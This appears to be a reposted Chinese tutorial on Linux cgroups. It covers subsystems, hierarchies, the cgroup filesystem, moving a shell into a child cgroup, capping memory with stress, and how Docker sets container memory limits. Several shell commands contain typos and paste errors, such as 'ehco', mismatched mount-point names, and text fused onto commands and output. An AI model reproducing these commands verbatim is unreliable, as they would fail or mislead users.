Cgroups 是 control groups 的缩写,是 Linux 内核提供的一种可以限制、记录、隔离进程组(progress groups)所使用的物理资源(如:cpu,memory,IO 等等)的机制。最初由 google 的工程师提出,后面被整合进 Linux 内核。

image.png

Cgroups 可以做什么?

Cgroups 最初的目标是为资源管理提供的一个统一的框架,既整合需要的 cpuset 等子系统,也为未来开发新的子系统提供接口。现在的 cgroups 适用多种应用场景,从单个进程的资源控制,到实现操作系统层次的虚拟化(OS Level Virtualization)。

cgroups 子系统(subsystem)

它的实现原理是通过对各类 Linux subsystem 进行参数设定,然后将进程和这些子系统进行绑定。

Linux subsystem 有以下几种:

  • blkio
  • cpu
  • cpuacct 统计cgroup中进程的CPU占用
  • cpuset
  • devices
  • freezer 用户挂起和恢复从group中的进程
  • memeory 控制cgroup中进程的内存占用
  • net_cls
  • net_prio
  • ns

image.png

通过安装 cgroup 工具

1
2
3
4
5
6
7
8
9
10
11
12
13
shell复制代码$ apt-get install cgroup-tools
$ lssubsys -a
cpuset
cpu,cpuacct
blkio
memory
devices
freezer
net_cls,net_prio
perf_event
hugetlb
pids
rdma

cgroups 层级结构(hierarchy)

hierarchy的功能是把一组 cgroup 组织成一个树状结构,让 Cgroup 可以实现继承

一个 cgroup1 限制了其下的进程(P1、P2、P3)的 CPU 使用频率,如果还想对进程P2进行内存的限制,可以在 cgroup1 下创建 cgroup2,使其继承于 cgroup1,可以限制 CPU 使用率,又可以设定内存的限制而不影响其他进程。

内核使用 cgroups 结构体来表示对某一个或某几个 cgroups 子系统的资源限制,它是通过一棵树的形式进行组织,被成为hierarchy.

cgroups 与进程

hierarchy、subsystem 与cgroup进程组间的关系
hierarchy 只实现了继承关系,真正的资源限制还是要靠 subsystem
通过将 subsystem 附加到 hierarchy上,
将进程组 加入到 hierarchy下(task中),实现资源限制

image

通过这张图可以看出:

  • 一个 subsystem 只能附加到一个 hierarchy 上面
  • 一个 hierarchy 可以附加多个 subsystem
  • 一个进程可以作为多个 cgroup 的成员,但是这些 cgroup 必须在不同hierarchy 中。
  • 一个进程 fork 出子进程时,子进程是和父进程在同一个 cgroup 中的,也可以根据需要将其移动到其他 cgroup 中。

cgroups 文件系统

cgroups 的底层实现被 Linux 内核的 VFS(Virtual File System)进行了隐藏,给用户态暴露了统一的文件系统 API 借口。我们来体验一下这个文件系统的使用方式:

  1. 首先,要创建并挂载一个hierarchy(cgroup树)
1
2
3
4
5
shell复制代码$ mkdir cgroup-test
$ sudo mount -t cgroup -o none,name=cgroup-test cgrout-test ./cgroup-test
$ ls ./cgrpup-test
cgroup.clone_children cgroup.sane_behavior release_agent
cgroup.procs notify_on_release tasks

这些文件就是这个hierarchy中cgroup根节点的配置项

cgroup.clone_children 会被 cpuset 的 subsystem 读取,如果是1,子 cgroup 会继承父 cgroup 的 cpuset 的配置。

notify_on_release 和 release_agent 用于管理当最后一个进程退出时执行一些操作

tasks 标识该 cgroup 下面的进程 ID,将 cgroup 的进程成员与这个 hierarchy 关联

2.再创建两个子 hierarchy创建刚刚创建好的hierarchy上cgroup根节点中扩展出的两个子cgroup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
shell复制代码$ cd cgroup-test
$ sudo mkdir cgroup-1
$ sudo mkdir cgroup-2
$ tree
.
├── cgroup-1
│ ├── cgroup.clone_children
│ ├── cgroup.procs
│ ├── notify_on_release
│ └── tasks
├── cgroup-2
│ ├── cgroup.clone_children
│ ├── cgroup.procs
│ ├── notify_on_release
│ └── tasks
├── cgroup.clone_children
├── cgroup.procs
├── cgroup.sane_behavior
├── notify_on_release
├── release_agent
└── tasks

2 directories, 14 files

可以看到,在一个 cgroup 的目录下创建文件夹时,Kernel 会把文件夹标记为这个 cgroup 的子 cgroup,它们会继承父 cgroup 的属性。

  1. 向cgroup中添加和移动进程
    一个进程在一个Cgroups的hierarchy中,只能在一个cgroup节点上存在,系统的所有进程都会默认在根节点上存在,可以将进程移动到其他cgroup节点,只需要将进程ID写到移动到的cgroup节点的tasks文件中即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
shell复制代码# cgroup-test
$ ehco $$
3444
$ cat /proc/3444/cgroup
13:name=cgroup-test:/
12:cpuset:/
11:rdma:/
10:devices:/user.slice
9:perf_event:/
8:net_cls,net_prio:/
7:pids:/user.slice/user-1000.slice/user@1000.service
6:memory:/user.slice/user-1000.slice/user@1000.service
...

可以看到当前终端的进程在根 cgroup 下,我们现在把他移动到子 cgroup 下

1
2
3
4
5
6
7
8
9
10
11
12
shell复制代码$ cd cgroup-1
$ sudo sh -c "echo $$ >> tasks"
$ cat /proc/3444/cgroup
13:name=cgroup-test:/cgroup-1
12:cpuset:/
11:rdma:/
10:devices:/user.slice
9:perf_event:/
8:net_cls,net_prio:/
7:pids:/user.slice/user-1000.slice/user@1000.service
6:memory:/user.slice/user-1000.slice/user@1000.service
...

可以看到终端进程所属的 cgroup 已将变成了 cgroup-1,再看一下父 cgroup 的tasks,已经没有了终端进程的 ID

1
2
3
shell复制代码$ cd cgroup-test
$ cat tasks | grep "3444"
# 返回为空
  1. 通过 subsystem 限制 cgroup 中进程的资源。

操作系统默认已为每一个 subsystem 创建了一个默认的 hierarchy,在sys/fs/cgroup/目录下

1
2
3
4
shell复制代码$ ls /sys/fs/cgroup
blkio cpu,cpuacct freezer net_cls perf_event systemd
cpu cpuset hugetlb net_cls,net_prio pids unified
cpuacct devices memory net_prio rdma

可以看到内存子系统的 hierarchy 也在其中创建一个子cgroup

1
2
3
4
5
6
7
8
shell复制代码$ cd /sys/fs/cgroup/memory
$ sudo mkdir test-limit-memory && cd test-limit-memorysudo
# 设置最大内存使用为 100MB
$ sudo sh -c "echo "100m" > memory.limit_in_bytes"sudo sh -c "echo $$ > tasks"
sudo sh -c "echo $$ > tasks"
$ sudo sh -c "echo $$ > tasks"
# 运行占用内存200MB 的 stress 经常
$ stress --vm-bytes 200m --vm-keep -m 1

可以对比运行前后的内存剩余量,大概只减少了100MB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
shell复制代码# 运行前
$ top
top - 12:04:12 up 6:45, 1 user, load average: 1.87, 1.29, 1.06
任务: 348 total, 1 running, 346 sleeping, 0 stopped, 1 zombie
%Cpu(s): 1.3 us, 0.9 sy, 0.0 ni, 97.7 id, 0.0 wa, 0.0 hi, 0.1 si, 0.0 st
MiB Mem : 5973.4 total, 210.8 free, 2820.9 used, 2941.8 buff/cache
MiB Swap: 923.3 total, 921.9 free, 1.3 used. 2746.3 avail Mem

# 运行后
$ top
top - 12:04:57 up 6:45, 1 user, load average: 2.25, 1.44, 1.12
任务: 351 total, 3 running, 347 sleeping, 0 stopped, 1 zombie
%Cpu(s): 34.3 us, 32.8 sy, 0.0 ni, 21.1 id, 4.9 wa, 0.0 hi, 6.9 si, 0.0 st
MiB Mem : 5973.4 total, 118.6 free, 2956.7 used, 2898.1 buff/cache
MiB Swap: 923.3 total, 817.7 free, 105.5 used. 2604.5 avail Mem

说明 cgroup 的限制生效了

docker 中是怎样进行 cgroup 限制的

首先运行一个被限制内存的容器

1
2
3
shell复制代码$ sudo docker pull redis:4
$ sudo docker run -tid -m 100m redis:4
d79f22eb11d22c56a90f88e0aeb3cfda7cbe9639e2ab0e8532003a695e375e8d

查看原来的内存子系统绑定的cgroup,会看到里面多了子cgroup, docker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
shell复制代码$ ls /sys/fs/cgroup/memory
... docker
...
$ ls /sys/fs/cgroup/memory/docker
cgroup.clone_children memory.max_usage_in_bytes
cgroup.event_control memory.memsw.failcnt
cgroup.procs memory.memsw.limit_in_bytes
d79f22eb11d22c56a90f88e0aeb3cfda7cbe9639e2ab0e8532003a695e375e8d memory.memsw.max_usage_in_bytes
memory.failcnt memory.memsw.usage_in_bytes
memory.force_empty memory.move_charge_at_immigrate
memory.kmem.failcnt memory.numa_stat
memory.kmem.limit_in_bytes memory.oom_control
memory.kmem.max_usage_in_bytes memory.pressure_level
memory.kmem.slabinfo memory.soft_limit_in_bytes
memory.kmem.tcp.failcnt memory.stat
memory.kmem.tcp.limit_in_bytes memory.swappiness
memory.kmem.tcp.max_usage_in_bytes memory.usage_in_bytes
memory.kmem.tcp.usage_in_bytes memory.use_hierarchy
memory.kmem.usage_in_bytes notify_on_release
memory.limit_in_bytes tasks

可以看到dockercgroup里面的d79f22eb11d22c56a90f88e0aeb3cfda7cbe9639e2ab0e8532003a695e375e8dcgroup 正好是我们
刚才创建的容器 ID,那么看一下里面吧

1
2
3
4
shell复制代码$ cd /sys/fs/cgroup/memory/docker/d79f22eb11d22c56a90f88e0aeb3cfda7cbe9639e2ab0e8532003a695e375e8d
$ cat memory.limit_in_bytes
104857600cat
# 正好是100MB

总结

讲述了 cgroups 的原理,它是通过三个概念(cgroup、subsystem、hierarchy)进行组织和关联的,可以理解为
3层结构,将进程关联在 cgroup 中,然后把 cgroup 与 hierarchy 关联,subsystem 再与 hierarchy 关联,从而在限制进程资源的基础上达到一定
的复用能力。

讲述了 docker 的具体实现方式,在使用 docker 时,也能从心中了然它时怎么做到对容器使用资源的限制的。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

1…408409410…956

开发者博客

9558 日志
1953 标签
RSS
© 2025 开发者博客
本站总访问量次
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4
0%